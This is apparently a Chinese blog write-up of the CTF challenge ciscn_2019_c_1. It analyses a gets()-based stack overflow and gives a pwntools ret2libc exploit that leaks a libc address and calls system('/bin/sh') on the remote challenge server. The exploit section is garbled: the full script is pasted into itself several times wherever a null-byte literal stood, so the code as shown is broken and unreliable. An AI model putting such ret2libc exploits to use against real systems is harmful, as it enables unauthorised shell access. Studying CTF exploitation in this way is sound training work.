PWN> [CISCN2019]ciscn_2019_c_1 [BUUCTF]

发布于 2022-11-20  16 次阅读


题目

这道题折磨了我很久都没打通,最终决定丢下
最近刚好出题碰到了栈平衡这么个机制,而且正好想要复现一下ret2libc2,机缘巧合之下重新审视这道题
此前一直以为是查询libc的问题,结果现在一看才发现其实是栈平衡在作祟,还有x64传参的一点小问题,小改一下EXP最终成功打通了

  • 靶机:Ubuntu18
  • 本地:Ubuntu22(WSL2)

分析

题目是一个字符串加密程序,encrypt函数如下

int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

分析一下得知函数的逻辑:

  • memset函数把数组初始化为0
  • 有一个不知道哪来的变量x,如果x大于字符串长度就一直循环加密下去,而且会改变payload
  • 字符串长度由strlen函数求得,其用\0来判断字符串末尾

由于不知道x从何而来,我们就干脆让padding以\0为开头暴力绕过加密循环

然后来确定下偏移,从-0x50(数组s)到0x08(返回地址r)一共0x58

最后来找找传参用的gadget
x64传参机制比较神必,前六个参数必须通过寄存器传参,第一个参数存在rdi寄存器里
用神器ROPgadget找找(文件名:pwn)

ROPgadget --binary pwn --only 'pop|ret'
0x0000000000400c83 : pop rdi ; ret

okk万事俱备,最后来捋捋思路:

  1. 绕过加密并溢出->返回到gadget、传入puts的GOT地址->再返回到puts_plt输出地址->重新回到main函数
  2. 绕过+溢出->栈平衡(_init_proc)->返回到gadget、传入/bin/sh的地址->再返回到system->getshell

EXP

from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()

参考